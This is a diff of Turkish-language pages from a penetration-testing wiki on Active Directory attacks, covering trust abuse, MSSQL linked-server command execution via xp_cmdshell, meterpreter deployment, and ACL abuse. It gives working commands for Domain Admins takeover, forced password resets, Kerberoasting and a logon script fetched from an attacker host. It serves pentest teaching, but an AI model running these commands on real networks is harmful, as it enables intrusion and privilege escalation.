Güvenilen domain'i tehlikeye atmanın bir başka yolu, **güvenilen domain'den bir kullanıcının erişebileceği** bir makinede beklemektir. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve **kurbanın orijinal domainine** buradan erişebilir.\
|
||||
Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır.
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -660,15 +688,15 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SID Filtreleme:**
|
||||
|
||||
- Orman güvenleri boyunca SID geçmişi niteliğini kullanan saldırıların riski, varsayılan olarak tüm ormanlar arası güvenlerde etkinleştirilen SID Filtreleme ile azaltılmaktadır. Bu, Microsoft'un görüşüne göre ormanların güvenlik sınırı olarak kabul edilmesi nedeniyle, orman içi güvenlerin güvenli olduğu varsayımına dayanmaktadır.
|
||||
- Orman güvenleri arasında SID geçmişi niteliğini kullanan saldırıların riski, varsayılan olarak tüm ormanlar arası güvenlerde etkinleştirilen SID Filtreleme ile azaltılmaktadır. Bu, Microsoft'un görüşüne göre ormanların güvenlik sınırı olarak kabul edilmesi nedeniyle, orman içi güvenlerin güvenli olduğu varsayımına dayanmaktadır.
|
||||
- Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da bazen devre dışı bırakılmasına yol açabilir.
|
||||
|
||||
### **Seçici Kimlik Doğrulama:**
|
||||
|
||||
- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenilen domain veya ormandaki domainlere ve sunuculara erişim için açık izinler gereklidir.
|
||||
- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenen domain veya ormandaki domainlere ve sunuculara erişim için açık izinler gereklidir.
|
||||
- Bu önlemlerin, yazılabilir Yapılandırma İsimlendirme Bağlamı (NC) istismarına veya güven hesaplarına yönelik saldırılara karşı koruma sağlamadığını belirtmek önemlidir.
|
||||
|
||||
[**Domain güvenleri hakkında daha fazla bilgi için ired.team'i ziyaret edin.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
[**Domain güvenleri hakkında daha fazla bilgi için ired.team'e bakın.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
@ -682,19 +710,19 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **Kimlik Bilgisi Koruma için Savunma Önlemleri**
|
||||
|
||||
- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer ana bilgisayarlarda kullanılmamalıdır.
|
||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır.
|
||||
- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir; diğer ana bilgisayarlarda kullanılmamalıdır.
|
||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği korumak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır.
|
||||
- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir.
|
||||
|
||||
### **Aldatma Tekniklerini Uygulama**
|
||||
|
||||
- Aldatma uygulamak, şifrelerin süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir.
|
||||
- Aldatma uygulamak, şifrelerin süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetki gruplarına eklemeyi içerir.
|
||||
- Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır.
|
||||
- Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir.
|
||||
|
||||
### **Aldatmayı Tanımlama**
|
||||
|
||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük hatalı şifre sayıları bulunmaktadır.
|
||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük hatalı şifre sayıları bulunur.
|
||||
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir.
|
||||
|
||||
### **Algılama Sistemlerini Aşma**
|
||||
|
||||
@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||||
### Powershell
|
||||
|
||||
Bu durumda powershell modülü [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) çok faydalıdır.
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module .\PowerupSQL.psd1
|
||||
````
|
||||
### Alan oturumu olmadan ağdan numaralandırma
|
||||
```powershell
|
||||
```bash
|
||||
# Get local MSSQL instance (if any)
|
||||
Get-SQLInstanceLocal
|
||||
Get-SQLInstanceLocal | Get-SQLServerInfo
|
||||
@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads
|
||||
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
|
||||
```
|
||||
### Alan içinden numaralandırma
|
||||
```powershell
|
||||
```bash
|
||||
# Get local MSSQL instance (if any)
|
||||
Get-SQLInstanceLocal
|
||||
Get-SQLInstanceLocal | Get-SQLServerInfo
|
||||
@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo
|
||||
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
|
||||
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
|
||||
|
||||
# Try dictionary attack to login
|
||||
Invoke-SQLAuditWeakLoginPw
|
||||
|
||||
# Search SPNs of common software and try the default creds
|
||||
Get-SQLServerDefaultLoginPw
|
||||
|
||||
#Test connections with each one
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
|
||||
|
||||
@ -127,14 +133,26 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
||||
# Get DBs, test connections and get info in oneliner
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
|
||||
```
|
||||
## MSSQL Temel İstismar
|
||||
## MSSQL Temel Suistimal
|
||||
|
||||
### Erişim Veritabanı
|
||||
```powershell
|
||||
```bash
|
||||
# List databases
|
||||
Get-SQLInstanceDomain | Get-SQLDatabase
|
||||
|
||||
# List tables in a DB you can read
|
||||
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
|
||||
|
||||
# List columns in a table
|
||||
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
|
||||
|
||||
# Get some sample data from a column in a table (columns username & passwor din the example)
|
||||
Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
|
||||
|
||||
#Perform a SQL query
|
||||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
|
||||
|
||||
#Dump an instance (a lotof CVSs generated in current dir)
|
||||
#Dump an instance (a lot of CVSs generated in current dir)
|
||||
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
|
||||
|
||||
# Search keywords in columns trying to access the MSSQL DBs
|
||||
@ -144,13 +162,13 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
|
||||
### MSSQL RCE
|
||||
|
||||
MSSQL sunucusu içinde **komutlar çalıştırmak** da mümkün olabilir.
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||
```
|
||||
**Aşağıdaki bölümde bunu manuel olarak nasıl yapacağınızı kontrol edin.**
|
||||
|
||||
### MSSQL Temel Hacking İpuçları
|
||||
### MSSQL Temel Hacking Hileleri
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
||||
@ -158,12 +176,12 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
||||
|
||||
## MSSQL Güvenilir Bağlantılar
|
||||
|
||||
Eğer bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Eğer kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.
|
||||
Eğer bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.
|
||||
|
||||
**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.**
|
||||
|
||||
### Powershell Suistimali
|
||||
```powershell
|
||||
```bash
|
||||
#Look for MSSQL links of an accessible instance
|
||||
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
||||
|
||||
@ -194,6 +212,12 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
|
||||
## If you see the results of @@selectname, it worked
|
||||
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
|
||||
```
|
||||
Başka benzer bir araç olarak [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn) kullanılabilir:
|
||||
```bash
|
||||
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
|
||||
# Cobalt Strike
|
||||
inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
Metasploit kullanarak güvenilir bağlantıları kolayca kontrol edebilirsiniz.
|
||||
@ -202,15 +226,15 @@ Metasploit kullanarak güvenilir bağlantıları kolayca kontrol edebilirsiniz.
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
Metasploit'in yalnızca MSSQL'deki `openquery()` fonksiyonunu kötüye kullanmaya çalışacağını unutmayın (yani, `openquery()` ile komut çalıştıramıyorsanız, komutları çalıştırmak için `EXECUTE` yöntemini **manuel** olarak denemeniz gerekecek, daha fazla bilgi aşağıda.)
|
||||
Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)
|
||||
|
||||
### Manuel - Openquery()
|
||||
### Manual - Openquery()
|
||||
|
||||
**Linux**'tan **sqsh** ve **mssqlclient.py** ile bir MSSQL konsol kabuğu elde edebilirsiniz.
|
||||
From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.**
|
||||
|
||||
**Windows**'tan da bağlantıları bulabilir ve komutları manuel olarak bir **MSSQL istemcisi gibi** [**HeidiSQL**](https://www.heidisql.com) kullanarak çalıştırabilirsiniz.
|
||||
From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com)
|
||||
|
||||
_Windows kimlik doğrulaması ile giriş yapın:_
|
||||
_Login using Windows authentication:_
|
||||
|
||||
.png>)
|
||||
|
||||
@ -228,7 +252,7 @@ Bağlantı üzerinden sorguları çalıştırın (örnek: yeni erişilebilir ör
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
> [!WARNING]
|
||||
> Çift ve tek tırnakların nerede kullanıldığını kontrol edin, bu şekilde kullanmak önemlidir.
|
||||
> İki ve tek tırnakların nerede kullanıldığını kontrol edin, bu şekilde kullanmak önemlidir.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -254,8 +278,9 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
|
||||
**MSSQL yerel kullanıcısı** genellikle **`SeImpersonatePrivilege`** adı verilen özel bir yetkiye sahiptir. Bu, hesabın "kimlik doğrulamasından sonra bir istemciyi taklit etmesine" olanak tanır.
|
||||
|
||||
Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki adam hizmetine kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir.
|
||||
Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki hizmete kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilen bu çeşitli tekniklerin bir derlemesini sunmaktadır.
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,66 +1,66 @@
|
||||
# Active Directory ACL'lerini/ACE'lerini Kötüye Kullanma
|
||||
# Active Directory ACL'lerinin/ACE'lerinin Suistimali
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Bu sayfa,** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) **makalelerinden tekniklerin bir özetidir. Daha fazla ayrıntı için orijinal makalelere bakın.**
|
||||
**Bu sayfa,** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**'dan tekniklerin bir özetidir. Daha fazla ayrıntı için orijinal makalelere bakın.**
|
||||
|
||||
## **Kullanıcı Üzerinde GenericAll Hakları**
|
||||
|
||||
Bu ayrıcalık, bir saldırgana hedef kullanıcı hesabı üzerinde tam kontrol sağlar. `GenericAll` hakları `Get-ObjectAcl` komutu kullanılarak doğrulandığında, bir saldırgan:
|
||||
|
||||
- **Hedefin Parolasını Değiştirme**: `net user <username> <password> /domain` komutunu kullanarak, saldırgan kullanıcının parolasını sıfırlayabilir.
|
||||
- **Hedefli Kerberoasting**: Kullanıcının hesabına bir SPN atayarak kerberoastable hale getirin, ardından Rubeus ve targetedKerberoast.py kullanarak bilet verme biletinin (TGT) hash'lerini çıkartıp kırmaya çalışın.
|
||||
```powershell
|
||||
- **Hedefli Kerberoasting**: Kullanıcının hesabına bir SPN atayarak onu kerberoastable hale getirin, ardından Rubeus ve targetedKerberoast.py kullanarak bilet verme biletinin (TGT) hash'lerini çıkartıp kırmaya çalışın.
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Hedeflenmiş ASREPRoasting**: Kullanıcı için ön kimlik doğrulamayı devre dışı bırakın, bu da hesabını ASREPRoasting'e karşı savunmasız hale getirir.
|
||||
```powershell
|
||||
- **Hedeflenmiş ASREPRoasting**: Kullanıcı için ön kimlik doğrulamayı devre dışı bırakın, bu da hesaplarını ASREPRoasting'e karşı savunmasız hale getirir.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll Hakları Üzerinde Grup**
|
||||
|
||||
Bu ayrıcalık, bir saldırganın `Domain Admins` gibi bir grupta `GenericAll` haklarına sahip olması durumunda grup üyeliklerini manipüle etmesine olanak tanır. Saldırgan, grubun ayırt edici adını `Get-NetGroup` ile belirledikten sonra:
|
||||
|
||||
- **Kendilerini Domain Admins Grubuna Ekleyebilir**: Bu, doğrudan komutlar aracılığıyla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir.
|
||||
```powershell
|
||||
- **Kendilerini Domain Admins Grubuna Ekleme**: Bu, doğrudan komutlar veya Active Directory ya da PowerSploit gibi modüller kullanılarak yapılabilir.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
Bu ayrıcalıkları bir bilgisayar nesnesi veya bir kullanıcı hesabında tutmak şunları sağlar:
|
||||
Bu yetkilere sahip olmak, bir bilgisayar nesnesi veya kullanıcı hesabında şunları sağlar:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: Bir bilgisayar nesnesini ele geçirmeyi sağlar.
|
||||
- **Shadow Credentials**: Bu tekniği, gölge kimlik bilgilerini oluşturma ayrıcalıklarını kullanarak bir bilgisayar veya kullanıcı hesabını taklit etmek için kullanın.
|
||||
- **Shadow Credentials**: Bu tekniği, gölge kimlik bilgilerini oluşturma yetkilerini kullanarak bir bilgisayar veya kullanıcı hesabını taklit etmek için kullanın.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Bir kullanıcının belirli bir grup (örneğin, `Domain Admins`) için tüm nesnelerde `WriteProperty` hakları varsa, şunları yapabilirler:
|
||||
|
||||
- **Kendilerini Domain Admins Grubuna Eklemek**: `net user` ve `Add-NetGroupUser` komutlarını birleştirerek gerçekleştirilebilir, bu yöntem alan içinde ayrıcalık yükseltmeyi sağlar.
|
||||
```powershell
|
||||
- **Kendilerini Domain Admins Grubuna Eklemek**: `net user` ve `Add-NetGroupUser` komutlarını birleştirerek gerçekleştirilebilir, bu yöntem alan içinde ayrıcalık yükseltmesine olanak tanır.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Kendi (Kendi Üyeliği) Grubunda**
|
||||
|
||||
Bu ayrıcalık, saldırganların `Domain Admins` gibi belirli gruplara kendilerini eklemelerine olanak tanır; bu, grup üyeliğini doğrudan manipüle eden komutlar aracılığıyla gerçekleştirilir. Aşağıdaki komut dizisini kullanmak, kendini eklemeye olanak tanır:
|
||||
```powershell
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Kendi Üyeliği)**
|
||||
|
||||
Benzer bir ayrıcalık olan bu, saldırganların grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak tanır; eğer bu gruplar üzerinde `WriteProperty` hakkına sahipseler. Bu ayrıcalığın onayı ve uygulanması şu şekilde gerçekleştirilir:
|
||||
```powershell
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
`User-Force-Change-Password` için bir kullanıcıda `ExtendedRight` tutmak, mevcut şifreyi bilmeden şifre sıfırlamalarına olanak tanır. Bu hakkın doğrulanması ve istismarı, PowerShell veya alternatif komut satırı araçları aracılığıyla yapılabilir ve etkileşimli oturumlar ile etkileşimsiz ortamlar için tek satırlık komutlar dahil olmak üzere bir kullanıcının şifresini sıfırlamak için çeşitli yöntemler sunar. Komutlar, basit PowerShell çağrılarından Linux'ta `rpcclient` kullanmaya kadar uzanarak saldırı vektörlerinin çok yönlülüğünü göstermektedir.
|
||||
```powershell
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
@ -70,24 +70,24 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **Grup Üzerinde WriteOwner**
|
||||
## **WriteOwner Üzerinde Grup**
|
||||
|
||||
Bir saldırgan `WriteOwner` haklarına sahip olduğunu bulursa, grubun sahipliğini kendisine değiştirebilir. Bu, söz konusu grubun `Domain Admins` olması durumunda özellikle etkilidir, çünkü sahipliği değiştirmek grup nitelikleri ve üyeliği üzerinde daha geniş bir kontrol sağlar. Süreç, `Get-ObjectAcl` aracılığıyla doğru nesneyi tanımlamayı ve ardından sahibi değiştirmek için `Set-DomainObjectOwner` kullanmayı içerir; bu, SID veya ad ile yapılabilir.
|
||||
```powershell
|
||||
Eğer bir saldırgan `WriteOwner` haklarına sahip olduğunu keşfederse, grubun sahipliğini kendisine değiştirebilir. Bu, söz konusu grubun `Domain Admins` olması durumunda özellikle etkilidir, çünkü sahipliği değiştirmek grup nitelikleri ve üyeliği üzerinde daha geniş bir kontrol sağlar. Süreç, `Get-ObjectAcl` aracılığıyla doğru nesneyi tanımlamayı ve ardından sahibi değiştirmek için `Set-DomainObjectOwner` kullanmayı içerir; bu, SID veya ad ile yapılabilir.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının oturum açma betiği yolunu, kullanıcı oturum açtığında kötü niyetli bir betiği çalıştıracak şekilde değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunu kullanarak gerçekleştirilir.
|
||||
```powershell
|
||||
Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının oturum açma betiği yolunu, kullanıcı oturum açtığında kötü niyetli bir betiği çalıştıracak şekilde değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
Bu ayrıcalıkla, saldırganlar grup üyeliğini manipüle edebilir, örneğin kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilirler. Bu süreç, bir kimlik bilgisi nesnesi oluşturmayı, bunu kullanarak bir gruptan kullanıcı eklemeyi veya çıkarmayı ve PowerShell komutlarıyla üyelik değişikliklerini doğrulamayı içerir.
|
||||
```powershell
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
|
||||
@ -96,8 +96,8 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, bir saldırgana nesne üzerinde `GenericAll` ayrıcalıkları verme imkanı tanır. Bu, ADSI manipülasyonu yoluyla gerçekleştirilir ve nesne üzerinde tam kontrol sağlanır ve grup üyeliklerini değiştirme yeteneği kazanılır. Ancak, bu ayrıcalıkları Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak istismar etmeye çalışırken sınırlamalar vardır.
|
||||
```powershell
|
||||
Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, bir saldırgana nesne üzerinde `GenericAll` ayrıcalıkları verme imkanı tanır. Bu, ADSI manipülasyonu yoluyla gerçekleştirilir ve nesne üzerinde tam kontrol sağlanır ve grup üyeliklerini değiştirme yeteneği kazanılır. Ancak, bu ayrıcalıkları Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak istismar etmeye çalışırken sınırlamalar bulunmaktadır.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
|
||||
@ -118,22 +118,22 @@ Grup Politika Nesnelerini (GPO) yönetmek için devredilen erişim, önemli güv
|
||||
|
||||
Yanlış yapılandırılmış GPO'ları tanımlamak için PowerSploit'in cmdlet'leri bir araya getirilebilir. Bu, belirli bir kullanıcının yönetme izinlerine sahip olduğu GPO'ların keşfedilmesini sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Belirli Bir Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür, bu da potansiyel etki alanını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Verilen Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür, bu da potansiyel etkinin kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Belirli Bir Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir.
|
||||
**Verilen Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir.
|
||||
|
||||
**Belirli Bir Politika Uygulanan OU'lar**: Belirli bir politikadan etkilenen organizasyonel birimleri (OU'lar) tanımlamak için `Get-DomainOU` kullanılabilir.
|
||||
**Verilen Politika Uygulanan OU'lar**: Belirli bir politikadan etkilenen organizasyonel birimleri (OU'lar) tanımlamak için `Get-DomainOU` kullanılabilir.
|
||||
|
||||
